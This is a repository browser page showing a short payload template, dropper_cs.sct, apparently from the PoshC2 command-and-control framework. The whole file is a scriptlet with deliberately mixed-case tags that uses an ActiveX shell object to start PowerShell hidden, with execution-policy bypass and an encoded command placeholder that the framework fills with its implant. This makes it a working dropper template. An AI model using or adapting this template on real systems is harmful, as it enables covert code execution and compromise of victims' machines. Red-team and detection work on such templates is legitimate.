Codebase list poshc2 / fe8fdfc7-5867-4cbe-bed3-43d5a70e284b/main resources / payload-templates / dropper_cs.sct
fe8fdfc7-5867-4cbe-bed3-43d5a70e284b/main

Tree @fe8fdfc7-5867-4cbe-bed3-43d5a70e284b/main (Download .tar.gz)

dropper_cs.sct @fe8fdfc7-5867-4cbe-bed3-43d5a70e284b/main — raw · history · blame 

1
2
3
<sCrIptlEt><scRIPt>
a=new ActiveXObject("Shell.Application").ShellExecute("powershell.exe"," -exec bypass -Noninteractive -windowstyle hidden -e #REPLACEME#","","open","0");
</scRIPt></sCrIptlEt>